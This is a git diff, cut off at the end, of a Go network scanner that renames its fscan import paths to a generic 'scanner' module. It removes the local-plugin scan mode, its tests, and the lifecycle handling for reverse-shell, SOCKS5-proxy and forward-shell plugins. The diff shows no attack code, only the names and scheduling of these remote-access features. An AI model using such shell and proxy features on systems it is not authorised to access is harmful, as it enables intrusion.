@@ func (b *BaseScanStrategy) isWebPlugin(pluginName string) bool { return plugins.HasType(pluginName, plugins.PluginTypeWeb) } -func (b *BaseScanStrategy) isLocalPlugin(pluginName string) bool { - return plugins.HasType(pluginName, plugins.PluginTypeLocal) -} - func (b *BaseScanStrategy) isUDPPlugin(pluginName string) bool { return plugins.IsUDP(pluginName) } -func (b *BaseScanStrategy) isLocalPluginExplicitlySpecified(pluginName string, config *common.Config) bool { - return config.LocalPlugin == pluginName -} - // isPluginApplicableToPortWithHost 检查插件是否适用于指定端口 // 匹配策略:端口匹配 → 服务名称匹配(解决非标准端口问题) func (b *BaseScanStrategy) isPluginApplicableToPortWithHost(pluginName string, targetHost string, targetPort int) bool { @@ -182,29 +172,19 @@ func (b *BaseScanStrategy) isPluginPassesFilterType(pluginName string, isCustomM // 应用过滤器类型检查 switch b.filterType { - case FilterLocal: - // 本地扫描策略:只允许本地插件且必须通过-local参数明确指定 - if b.isLocalPlugin(pluginName) { - return b.isLocalPluginExplicitlySpecified(pluginName, config) - } - return false case FilterService: - // 服务扫描策略:排除本地插件和UDP插件(UDP有独立分发路径) - return !b.isLocalPlugin(pluginName) && !b.isUDPPlugin(pluginName) + // UDP插件有独立分发路径 + return !b.isUDPPlugin(pluginName) case FilterWeb: // Web扫描策略:只允许Web插件 return b.isWebPlugin(pluginName) default: - // 无过滤器:本地插件需要明确指定,其他插件都允许 - if b.isLocalPlugin(pluginName) { - return b.isLocalPluginExplicitlySpecified(pluginName, config) - } return true } } // LogPluginInfo 默认不输出插件信息(service 默认端口模式有意保持安静,减少干扰)。 -// 子类 LocalScanStrategy / ServiceScanStrategy 按需重写。 +// 子类 ServiceScanStrategy 按需重写。 func (b *BaseScanStrategy) LogPluginInfo(config *common.Config, session *common.ScanSession) { } @@ -224,10 +204,8 @@ func (b *BaseScanStrategy) ValidateConfiguration() error { // LogScanStart 输出扫描开始信息(已精简,仅在非服务扫描模式下显示) func (b *BaseScanStrategy) LogScanStart(session *common.ScanSession) { // 服务扫描模式下不显示(插件信息已足够说明) - // 仅在本地/Web等特殊模式下显示 + // 仅在 Web 等特殊模式下显示 switch b.filterType { - case FilterLocal: - session.LogInfo(i18n.GetText("start_local_scan")) case FilterWeb: session.LogInfo(i18n.GetText("start_web_scan")) } @@ -239,17 +217,10 @@ func (b *BaseScanStrategy) getPluginsByFilterType() []string { var filteredPlugins []string switch b.filterType { - case FilterLocal: - // 本地扫描策略:只返回本地插件 - for _, pluginName := range allPlugins { - if b.isLocalPlugin(pluginName) { - filteredPlugins = append(filteredPlugins, pluginName) - } - } case FilterService: - // 服务扫描策略:排除本地插件和UDP插件,保留TCP服务插件 + // 服务扫描策略:排除UDP插件,保留TCP服务插件 for _, pluginName := range allPlugins { - if !b.isLocalPlugin(pluginName) && !b.isUDPPlugin(pluginName) { + if !b.isUDPPlugin(pluginName) { filteredPlugins = append(filteredPlugins, pluginName) } } diff --git a/core/base_scan_strategy_test.go b/core/base_scan_strategy_test.go index 1b8b8bf4..df330dec 100644 --- a/core/base_scan_strategy_test.go +++ b/core/base_scan_strategy_test.go @@ -3,8 +3,8 @@ package core import ( "testing" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) // ============================================================================= @@ -277,7 +277,6 @@ func TestOrderWebPlugins(t *testing.T) { func TestBaseScanStrategyPluginSelectionAndApplicability(t *testing.T) { registerTestPlugins(t) - plugins.RegisterWithOptions("core_test_local", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false) plugins.RegisterWithOptions("core_test_udp", func() plugins.Plugin { return nil }, []int{161}, []string{plugins.PluginTypeUDP}, true) clearServiceCache() @@ -297,7 +296,7 @@ func TestBaseScanStrategyPluginSelectionAndApplicability(t *testing.T) { if custom { t.Fatal("all mode should not be custom") } - if !containsString(servicePlugins, "ssh") || containsString(servicePlugins, "core_test_local") || containsString(servicePlugins, "core_test_udp") { + if !containsString(servicePlugins, "ssh") || containsString(servicePlugins, "core_test_udp") { t.Fatalf("service filtered plugins = %#v", servicePlugins) } @@ -320,27 +319,16 @@ func TestBaseScanStrategyPluginSelectionAndApplicability(t *testing.T) { } func TestBaseScanStrategyFilterTypes(t *testing.T) { - plugins.RegisterWithOptions("core_test_local_filter", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false) plugins.RegisterWithOptions("core_test_web_filter", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeWeb}, true) plugins.RegisterWithOptions("core_test_udp_filter", func() plugins.Plugin { return nil }, []int{53}, []string{plugins.PluginTypeUDP}, true) cfg := common.NewConfig() - localStrategy := NewBaseScanStrategy("local", FilterLocal) - if localStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) { - t.Fatal("local plugin should require explicit -local selection") - } - cfg.LocalPlugin = "core_test_local_filter" - if !localStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) { - t.Fatal("explicit local plugin should pass local filter") - } - serviceStrategy := NewBaseScanStrategy("service", FilterService) if !serviceStrategy.isPluginPassesFilterType("ssh", false, cfg) { t.Fatal("service plugin should pass service filter") } - if serviceStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) || - serviceStrategy.isPluginPassesFilterType("core_test_udp_filter", false, cfg) { - t.Fatal("service filter should reject local and UDP plugins") + if serviceStrategy.isPluginPassesFilterType("core_test_udp_filter", false, cfg) { + t.Fatal("service filter should reject UDP plugins") } webStrategy := NewBaseScanStrategy("web", FilterWeb) @@ -383,11 +371,6 @@ func TestNewBaseScanStrategy(t *testing.T) { strategyName: "无过滤", filterType: FilterNone, }, - { - name: "FilterLocal", - strategyName: "本地扫描", - filterType: FilterLocal, - }, { name: "FilterService", strategyName: "服务扫描", @@ -424,7 +407,6 @@ func TestPluginFilterTypeConstants(t *testing.T) { // 验证常量值的唯一性和连续性 filterTypes := []PluginFilterType{ FilterNone, - FilterLocal, FilterService, FilterWeb, } @@ -441,9 +423,8 @@ func TestPluginFilterTypeConstants(t *testing.T) { // 验证预期值 expectedValues := map[PluginFilterType]int{ FilterNone: 0, - FilterLocal: 1, - FilterService: 2, - FilterWeb: 3, + FilterService: 1, + FilterWeb: 2, } for ft, expectedVal := range expectedValues { @@ -546,12 +527,6 @@ func TestIsPluginPassesFilterType_CustomMode(t *testing.T) { registerTestPlugins(t) cfg := common.NewConfig() - // FilterLocal 策略下 custom mode 也应通过 - localStrategy := NewBaseScanStrategy("local", FilterLocal) - if !localStrategy.isPluginPassesFilterType("ssh", true, cfg) { - t.Error("custom mode 下非 UDP 插件应直接返回 true") - } - // FilterService 策略下 custom mode 也应通过 serviceStrategy := NewBaseScanStrategy("service", FilterService) if !serviceStrategy.isPluginPassesFilterType("ssh", true, cfg) { @@ -574,22 +549,3 @@ func TestIsPluginPassesFilterType_FilterNoneNonLocal(t *testing.T) { t.Error("FilterNone + 非 local 插件 redis 应返回 true") } } - -// TestIsPluginPassesFilterType_FilterNoneLocalPlugin FilterNone + local 插件:需要 -local 显式指定 -func TestIsPluginPassesFilterType_FilterNoneLocalPlugin(t *testing.T) { - plugins.RegisterWithOptions("core_test_local_none", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false) - cfg := common.NewConfig() - - noneStrategy := NewBaseScanStrategy("none", FilterNone) - - // 未指定 LocalPlugin,应返回 false - if noneStrategy.isPluginPassesFilterType("core_test_local_none", false, cfg) { - t.Error("FilterNone + local 插件未显式指定时应返回 false") - } - - // 指定后应返回 true - cfg.LocalPlugin = "core_test_local_none" - if !noneStrategy.isPluginPassesFilterType("core_test_local_none", false, cfg) { - t.Error("FilterNone + local 插件显式指定后应返回 true") - } -} diff --git a/core/env_profiler.go b/core/env_profiler.go index bb4ad05e..05e6abe0 100644 --- a/core/env_profiler.go +++ b/core/env_profiler.go @@ -6,8 +6,8 @@ import ( "runtime" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" ) // EnvironmentProfile 综合环境探测结果 diff --git a/core/env_profiler_test.go b/core/env_profiler_test.go index 93d4c636..b97074ec 100644 --- a/core/env_profiler_test.go +++ b/core/env_profiler_test.go @@ -5,7 +5,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // ============================================================================= diff --git a/core/host_batch.go b/core/host_batch.go index 696fd02d..c63ded89 100644 --- a/core/host_batch.go +++ b/core/host_batch.go @@ -1,8 +1,8 @@ package core import ( - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common" + "scanner/common/parsers" ) const maxHostBatchSize = 65536 diff --git a/core/host_excludes.go b/core/host_excludes.go index a6c5bad5..ec2b1264 100644 --- a/core/host_excludes.go +++ b/core/host_excludes.go @@ -3,8 +3,8 @@ package core import ( "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common" + "scanner/common/parsers" ) func loadHostExcludes(params *common.FlagVars) ([]string, error) { diff --git a/core/host_excludes_test.go b/core/host_excludes_test.go index 1252f6c6..a675df90 100644 --- a/core/host_excludes_test.go +++ b/core/host_excludes_test.go @@ -5,7 +5,7 @@ import ( "reflect" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestLoadHostExcludesIncludesExcludeFile(t *testing.T) { diff --git a/core/icmp.go b/core/icmp.go index 004d9065..87f11e61 100644 --- a/core/icmp.go +++ b/core/icmp.go @@ -14,9 +14,9 @@ import ( "time" "github.com/juju/ratelimit" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" + "scanner/common" + "scanner/common/i18n" + "scanner/common/output" "golang.org/x/net/icmp" ) diff --git a/core/local_scanner.go b/core/local_scanner.go deleted file mode 100644 index 45a62258..00000000 --- a/core/local_scanner.go +++ /dev/null @@ -1,79 +0,0 @@ -package core - -import ( - "context" - "sync" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// LocalScanStrategy 本地扫描策略 -type LocalScanStrategy struct { - *BaseScanStrategy -} - -// NewLocalScanStrategy 创建新的本地扫描策略 -func NewLocalScanStrategy() *LocalScanStrategy { - return &LocalScanStrategy{ - BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_local_name"), FilterLocal), - } -} - -// LogPluginInfo 重写以只显示通过-local指定的插件 -func (s *LocalScanStrategy) LogPluginInfo(config *common.Config, session *common.ScanSession) { - localPlugin := config.LocalPlugin - if localPlugin != "" { - session.LogInfo(i18n.Tr("local_plugin_info", localPlugin)) - } else { - session.LogError(i18n.GetText("local_plugin_not_specified")) - } -} - -// Name 返回策略名称 -func (s *LocalScanStrategy) Name() string { - return i18n.GetText("scan_strategy_local_name") -} - -// Description 返回策略描述 -func (s *LocalScanStrategy) Description() string { - return i18n.GetText("scan_strategy_local_desc") -} - -// Execute 执行本地扫描策略 -func (s *LocalScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { - config := session.Config - - // 输出扫描开始信息 - s.LogScanStart(session) - - // 验证插件配置 - if err := s.ValidateConfiguration(); err != nil { - session.LogError(err.Error()) - return - } - - // 验证本地插件是否存在 - if config.LocalPlugin != "" { - if !plugins.Exists(config.LocalPlugin) { - session.LogError(i18n.Tr("local_plugin_not_found", config.LocalPlugin)) - return - } - } - - // 输出插件信息 - s.LogPluginInfo(config, session) - - // 准备目标(本地扫描通常只有一个目标,即本机) - targets := s.PrepareTargets(info) - - // 执行扫描任务 - ExecuteScanTasks(ctx, session, targets, s, ch, wg) -} - -// PrepareTargets 准备本地扫描目标 -func (s *LocalScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo { - // 本地扫描只使用传入的目标信息,不做额外处理 - return []common.HostInfo{info} -} diff --git a/core/local_scanner_test.go b/core/local_scanner_test.go deleted file mode 100644 index 5167a266..00000000 --- a/core/local_scanner_test.go +++ /dev/null @@ -1,147 +0,0 @@ -package core - -import ( - "testing" - - "github.com/shadow1ng/fscan/common" -) - -// TestNewLocalScanStrategy 测试本地扫描策略构造函数 -func TestNewLocalScanStrategy(t *testing.T) { - strategy := NewLocalScanStrategy() - - if strategy == nil { - t.Fatal("NewLocalScanStrategy 返回 nil") - } - - if strategy.BaseScanStrategy == nil { - t.Error("BaseScanStrategy 未初始化") - } - - // 验证过滤器类型 - if strategy.filterType != FilterLocal { - t.Errorf("filterType: 期望 FilterLocal(%d), 实际 %d", FilterLocal, strategy.filterType) - } - - // 验证策略名称 - if strategy.strategyName != "本地扫描" { - t.Errorf("strategyName: 期望 '本地扫描', 实际 %q", strategy.strategyName) - } -} - -// TestLocalScanStrategy_PrepareTargets 测试PrepareTargets -func TestLocalScanStrategy_PrepareTargets(t *testing.T) { - strategy := NewLocalScanStrategy() - - tests := []struct { - name string - input common.HostInfo - expected int - }{ - { - name: "空HostInfo", - input: common.HostInfo{}, - expected: 1, - }, - { - name: "带Host的HostInfo", - input: common.HostInfo{ - Host: "localhost", - }, - expected: 1, - }, - { - name: "完整HostInfo", - input: common.HostInfo{ - Host: "127.0.0.1", - Port: 80, - }, - expected: 1, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - targets := strategy.PrepareTargets(tt.input) - - // 验证返回列表长度 - if len(targets) != tt.expected { - t.Errorf("PrepareTargets() 返回长度 = %d, 期望 %d", len(targets), tt.expected) - } - - // 验证返回的第一个元素与输入相同 - if len(targets) > 0 { - if targets[0].Host != tt.input.Host { - t.Errorf("targets[0].Host = %q, 期望 %q", targets[0].Host, tt.input.Host) - } - if targets[0].Port != tt.input.Port { - t.Errorf("targets[0].Port = %q, 期望 %q", targets[0].Port, tt.input.Port) - } - } - }) - } -} - -// TestLocalScanStrategy_PrepareTargets_ImmutabilityCheck 测试PrepareTargets不修改输入 -func TestLocalScanStrategy_PrepareTargets_ImmutabilityCheck(t *testing.T) { - strategy := NewLocalScanStrategy() - - original := common.HostInfo{ - Host: "192.168.1.1", - Port: 22, - } - - // 保存原始值副本 - originalHost := original.Host - originalPort := original.Port - - // 调用PrepareTargets - targets := strategy.PrepareTargets(original) - - // 验证原始输入未被修改 - if original.Host != originalHost { - t.Errorf("输入被修改: original.Host = %q, 期望 %q", original.Host, originalHost) - } - if original.Port != originalPort { - t.Errorf("输入被修改: original.Port = %d, 期望 %d", original.Port, originalPort) - } - - // 验证返回值与输入相等 - if len(targets) != 1 { - t.Fatalf("targets长度 = %d, 期望 1", len(targets)) - } - - if targets[0].Host != originalHost { - t.Errorf("targets[0].Host = %q, 期望 %q", targets[0].Host, originalHost) - } -} - -// TestLocalScanStrategy_TypeAssertion 测试类型继承关系 -func TestLocalScanStrategy_TypeAssertion(t *testing.T) { - strategy := NewLocalScanStrategy() - - // 验证类型继承 - if strategy.BaseScanStrategy == nil { - t.Error("LocalScanStrategy 未嵌入 BaseScanStrategy") - } - - // 验证可以访问BaseScanStrategy的方法 - err := strategy.ValidateConfiguration() - if err != nil { - t.Errorf("ValidateConfiguration() 应返回 nil, 实际: %v", err) - } -} - -// TestLocalScanStrategy_FieldAccess 测试字段访问 -func TestLocalScanStrategy_FieldAccess(t *testing.T) { - strategy := NewLocalScanStrategy() - - // 通过BaseScanStrategy访问私有字段 - if strategy.strategyName == "" { - t.Error("strategyName 不应为空") - } - - if strategy.filterType != FilterLocal { - t.Errorf("filterType 应为 FilterLocal, 实际 %d", strategy.filterType) - } -} diff --git a/core/network_profiler.go b/core/network_profiler.go index 4f08c124..e0c64597 100644 --- a/core/network_profiler.go +++ b/core/network_profiler.go @@ -9,8 +9,8 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" ) // NetworkEnv 网络环境分类 diff --git a/core/port_scan.go b/core/port_scan.go index d2603d3f..5ee89b05 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -10,10 +10,10 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common" + "scanner/common/i18n" + "scanner/common/output" + "scanner/common/parsers" ) // proxyFailurePatterns 代理连接失败的错误模式(小写) diff --git a/core/portfinger/match_engine.go b/core/portfinger/match_engine.go index c34458b2..98f92f3c 100644 --- a/core/portfinger/match_engine.go +++ b/core/portfinger/match_engine.go @@ -5,7 +5,7 @@ import ( "regexp" "strings" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) // BytesToRegexSafeString 将字节切片转换为 Go regexp 安全的正则表达式模式字符串 diff --git a/core/portfinger/probe_parser.go b/core/portfinger/probe_parser.go index 2a9d5b4c..dd62c5b5 100644 --- a/core/portfinger/probe_parser.go +++ b/core/portfinger/probe_parser.go @@ -5,7 +5,7 @@ import ( "strconv" "strings" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) // 解析指令语法,返回指令结构 diff --git a/core/real_network_test.go b/core/real_network_test.go index 74b396b5..98d79ce4 100644 --- a/core/real_network_test.go +++ b/core/real_network_test.go @@ -9,7 +9,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // ============================================================================= diff --git a/core/scanner.go b/core/scanner.go index 7147b70c..63968246 100644 --- a/core/scanner.go +++ b/core/scanner.go @@ -4,18 +4,15 @@ import ( "context" "fmt" "net/url" - "os" - "os/signal" "sync" - "syscall" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" - "github.com/shadow1ng/fscan/common/parsers" - "github.com/shadow1ng/fscan/plugins" - "github.com/shadow1ng/fscan/webscan/lib" + "scanner/common" + "scanner/common/i18n" + "scanner/common/output" + "scanner/common/parsers" + "scanner/plugins" + "scanner/webscan/lib" ) // ScanReport summarizes one scan execution. @@ -45,7 +42,6 @@ type ScanMode int const ( ScanModeService ScanMode = iota // 默认:服务扫描 ScanModeAlive // 仅存活检测 - ScanModeLocal // 本地插件 ScanModeWeb // Web扫描 ) @@ -57,7 +53,6 @@ type strategyInfo struct { var strategyRegistry = map[ScanMode]strategyInfo{ ScanModeAlive: {func() ScanStrategy { return NewAliveScanStrategy() }, "scan_mode_alive_selected"}, - ScanModeLocal: {func() ScanStrategy { return NewLocalScanStrategy() }, "scan_mode_local_selected"}, ScanModeWeb: {func() ScanStrategy { return NewWebScanStrategy() }, "scan_mode_web_selected"}, ScanModeService: {func() ScanStrategy { return NewServiceScanStrategy() }, "scan_mode_service_selected"}, } @@ -67,12 +62,6 @@ func determineScanMode(config *common.Config, state *common.State) ScanMode { switch { case config.AliveOnly || config.Mode == "icmp": return ScanModeAlive - case config.LocalMode: - return ScanModeLocal - case common.IsLocalMode != nil && common.IsLocalMode(config.Mode): - config.LocalMode = true - config.LocalPlugin = config.Mode - return ScanModeLocal case len(state.GetURLs()) > 0: return ScanModeWeb default: @@ -140,32 +129,6 @@ func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSess // context 的第三方协议库永久阻塞整个扫描。 tasksFinished := waitForScanTasks(ctx, &wg) - // 检查是否有活跃的连接需要维持 - if state.IsReverseShellActive() || state.IsSocks5ProxyActive() || state.IsForwardShellActive() { - if state.IsReverseShellActive() { - session.LogInfo(i18n.GetText("active_reverse_shell")) - } - if state.IsSocks5ProxyActive() { - session.LogInfo(i18n.GetText("active_socks5_proxy")) - } - if state.IsForwardShellActive() { - session.LogInfo(i18n.GetText("active_forward_shell")) - } - session.LogInfo(i18n.GetText("press_ctrl_c_exit")) - - // 优雅等待信号或 context 取消(Web Stop) - sigChan := make(chan os.Signal, 1) - signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) - select { - case <-sigChan: - session.LogInfo(i18n.GetText("received_exit_signal")) - case <-ctx.Done(): - } - signal.Stop(sigChan) - cancel() - time.Sleep(500 * time.Millisecond) - } - // Stop late result delivery before global output/progress finalization. if ctx.Err() != nil { session.Deactivate() @@ -344,13 +307,6 @@ func countApplicableTasks(targets []common.HostInfo, pluginsToRun []string, isCu return count } -// longRunningPlugins 长驻插件,不加入 scan WaitGroup,通过 ctx 取消退出 -var longRunningPlugins = map[string]bool{ - "forwardshell": true, - "socks5proxy": true, - "reverseshell": true, -} - // executeScanTask 执行单个扫描任务 func executeScanTask(ctx context.Context, session *common.ScanSession, pluginName string, target common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { state := session.State @@ -368,31 +324,6 @@ func executeScanTask(ctx context.Context, session *common.ScanSession, pluginNam } } - // 长驻插件不进 WaitGroup,通过 ctx 管理生命周期 - if longRunningPlugins[pluginName] { - finished := make(chan struct{}) - go func() { - defer close(finished) - defer func() { - if r := recover(); r != nil { - session.LogError(i18n.Tr("plugin_panic", pluginName, target.Host, target.Port, r)) - } - }() - plugin := plugins.Get(pluginName) - if plugin != nil { - plugin.Scan(ctx, &target, session) - } - }() - timer := time.NewTimer(500 * time.Millisecond) - defer timer.Stop() - select { - case <-finished: - case <-timer.C: - case <-ctx.Done(): - } - return - } - wg.Add(1) // 获取并发槽位,支持取消 diff --git a/core/scanner_test.go b/core/scanner_test.go index 12051c8c..565ce3f8 100644 --- a/core/scanner_test.go +++ b/core/scanner_test.go @@ -7,8 +7,8 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) /* @@ -87,12 +87,10 @@ func TestSelectStrategy(t *testing.T) { state := common.GetGlobalState() origAliveOnly := cfg.AliveOnly origMode := cfg.Mode - origLocalMode := cfg.LocalMode origURLs := state.GetURLs() defer func() { cfg.AliveOnly = origAliveOnly cfg.Mode = origMode - cfg.LocalMode = origLocalMode state.SetURLs(origURLs) }() @@ -107,7 +105,6 @@ func TestSelectStrategy(t *testing.T) { setupConfig: func() { cfg.AliveOnly = true cfg.Mode = "" - cfg.LocalMode = false state.SetURLs(nil) }, expectedType: "*core.AliveScanStrategy", @@ -118,29 +115,16 @@ func TestSelectStrategy(t *testing.T) { setupConfig: func() { cfg.AliveOnly = false cfg.Mode = "icmp" - cfg.LocalMode = false state.SetURLs(nil) }, expectedType: "*core.AliveScanStrategy", info: common.HostInfo{Host: "192.168.1.1"}, }, - { - name: "本地模式-LocalMode", - setupConfig: func() { - cfg.AliveOnly = false - cfg.Mode = "" - cfg.LocalMode = true - state.SetURLs(nil) - }, - expectedType: "*core.LocalScanStrategy", - info: common.HostInfo{Host: "localhost"}, - }, { name: "Web扫描模式-URLs非空", setupConfig: func() { cfg.AliveOnly = false cfg.Mode = "" - cfg.LocalMode = false state.SetURLs([]string{"http://example.com"}) }, expectedType: "*core.WebScanStrategy", @@ -151,40 +135,16 @@ func TestSelectStrategy(t *testing.T) { setupConfig: func() { cfg.AliveOnly = false cfg.Mode = "" - cfg.LocalMode = false state.SetURLs(nil) }, expectedType: "*core.ServiceScanStrategy", info: common.HostInfo{Host: "192.168.1.1", Port: 22}, }, - { - name: "优先级测试-AliveOnly覆盖LocalMode", - setupConfig: func() { - cfg.AliveOnly = true - cfg.Mode = "" - cfg.LocalMode = true // 被AliveOnly覆盖 - state.SetURLs(nil) - }, - expectedType: "*core.AliveScanStrategy", - info: common.HostInfo{Host: "localhost"}, - }, - { - name: "优先级测试-LocalMode覆盖URLs", - setupConfig: func() { - cfg.AliveOnly = false - cfg.Mode = "" - cfg.LocalMode = true - state.SetURLs([]string{"http://example.com"}) // 被LocalMode覆盖 - }, - expectedType: "*core.LocalScanStrategy", - info: common.HostInfo{Host: "localhost"}, - }, { name: "优先级测试-URLs覆盖默认服务扫描", setupConfig: func() { cfg.AliveOnly = false cfg.Mode = "" - cfg.LocalMode = false state.SetURLs([]string{"http://example.com"}) }, expectedType: "*core.WebScanStrategy", @@ -221,19 +181,16 @@ func TestSelectStrategy_AllModesDisabled(t *testing.T) { state := common.GetGlobalState() origAliveOnly := cfg.AliveOnly origMode := cfg.Mode - origLocalMode := cfg.LocalMode origURLs := state.GetURLs() defer func() { cfg.AliveOnly = origAliveOnly cfg.Mode = origMode - cfg.LocalMode = origLocalMode state.SetURLs(origURLs) }() // 设置所有模式为禁用状态 cfg.AliveOnly = false cfg.Mode = "" - cfg.LocalMode = false state.SetURLs(nil) info := common.HostInfo{Host: "192.168.1.1"} @@ -428,18 +385,15 @@ func TestSelectStrategy_EmptyHostInfo(t *testing.T) { state := common.GetGlobalState() origAliveOnly := cfg.AliveOnly origMode := cfg.Mode - origLocalMode := cfg.LocalMode origURLs := state.GetURLs() defer func() { cfg.AliveOnly = origAliveOnly cfg.Mode = origMode - cfg.LocalMode = origLocalMode state.SetURLs(origURLs) }() cfg.AliveOnly = false cfg.Mode = "" - cfg.LocalMode = false state.SetURLs(nil) emptyInfo := common.HostInfo{} @@ -524,61 +478,6 @@ func TestBuildScanReport_ZeroState(t *testing.T) { } } -// ============================================================================= -// determineScanMode IsLocalMode 分支测试 -// ============================================================================= - -// TestDetermineScanMode_IsLocalModeCallback 覆盖 IsLocalMode 回调分支 -func TestDetermineScanMode_IsLocalModeCallback(t *testing.T) { - // 保存原始值 - origIsLocalMode := common.IsLocalMode - defer func() { common.IsLocalMode = origIsLocalMode }() - - // 注册回调:mode == "localtest" 时认为是本地模式 - common.IsLocalMode = func(mode string) bool { - return mode == "localtest" - } - - cfg := &common.Config{ - AliveOnly: false, - Mode: "localtest", - LocalMode: false, - } - state := common.NewState() - - mode := determineScanMode(cfg, state) - if mode != ScanModeLocal { - t.Errorf("determineScanMode() = %v, 期望 ScanModeLocal", mode) - } - // 回调命中后应同时设置 LocalMode 和 LocalPlugin - if !cfg.LocalMode { - t.Error("IsLocalMode 命中后应设置 cfg.LocalMode = true") - } - if cfg.LocalPlugin != "localtest" { - t.Errorf("LocalPlugin = %q, 期望 \"localtest\"", cfg.LocalPlugin) - } -} - -// TestDetermineScanMode_IsLocalModeCallbackNoMatch 回调不命中时不影响模式 -func TestDetermineScanMode_IsLocalModeCallbackNoMatch(t *testing.T) { - origIsLocalMode := common.IsLocalMode - defer func() { common.IsLocalMode = origIsLocalMode }() - - common.IsLocalMode = func(mode string) bool { return false } - - cfg := &common.Config{ - AliveOnly: false, - Mode: "something", - LocalMode: false, - } - state := common.NewState() - - mode := determineScanMode(cfg, state) - if mode != ScanModeService { - t.Errorf("回调不命中时期望 ScanModeService, 实际 %v", mode) - } -} - // TestCountApplicableTasks_EmptyPlugins 测试空插件列表 func TestCountApplicableTasks_EmptyPlugins(t *testing.T) { targets := []common.HostInfo{ diff --git a/core/service_cache_test.go b/core/service_cache_test.go index 745ee74d..893d980f 100644 --- a/core/service_cache_test.go +++ b/core/service_cache_test.go @@ -4,8 +4,8 @@ import ( "sync" "testing" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) // registerTestPlugins 注册测试用插件(名字和服务识别结果一致) diff --git a/core/service_probe.go b/core/service_probe.go index 6335cf3b..b6e243d8 100644 --- a/core/service_probe.go +++ b/core/service_probe.go @@ -10,9 +10,9 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/core/portfinger" + "scanner/common" + "scanner/common/i18n" + "scanner/core/portfinger" ) // 默认超时时间常量 diff --git a/core/service_probe_strategy_test.go b/core/service_probe_strategy_test.go index a603d368..6676404d 100644 --- a/core/service_probe_strategy_test.go +++ b/core/service_probe_strategy_test.go @@ -17,8 +17,8 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/core/portfinger" + "scanner/common" + "scanner/core/portfinger" ) // ============================================================================= diff --git a/core/service_scanner.go b/core/service_scanner.go index b4600419..f313cae9 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -8,10 +8,10 @@ import ( "strings" "sync" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/parsers" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/common/parsers" + "scanner/plugins" ) // ServiceScanStrategy 服务扫描策略 diff --git a/core/service_scanner_test.go b/core/service_scanner_test.go index 6518f73b..263accaa 100644 --- a/core/service_scanner_test.go +++ b/core/service_scanner_test.go @@ -3,7 +3,7 @@ package core import ( "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) /* diff --git a/core/tuning_cli_integration_test.go b/core/tuning_cli_integration_test.go index f1c1611f..2985b245 100644 --- a/core/tuning_cli_integration_test.go +++ b/core/tuning_cli_integration_test.go @@ -6,7 +6,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestCLIExplicitDefaultTuningFlagsSurviveTuneConfig(t *testing.T) { @@ -20,9 +20,9 @@ func TestCLIExplicitDefaultTuningFlagsSurviveTuneConfig(t *testing.T) { }() *common.GetFlagVars() = common.FlagVars{} - flag.CommandLine = flag.NewFlagSet("fscan-test", flag.ContinueOnError) + flag.CommandLine = flag.NewFlagSet("test", flag.ContinueOnError) os.Args = []string{ - "fscan-test", + "test", "-silent", "-h", "127.0.0.1", "-time", "3", diff --git a/core/web_scanner.go b/core/web_scanner.go index 86780ecc..60b2e7db 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -12,8 +12,8 @@ import ( "sync" "sync/atomic" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + 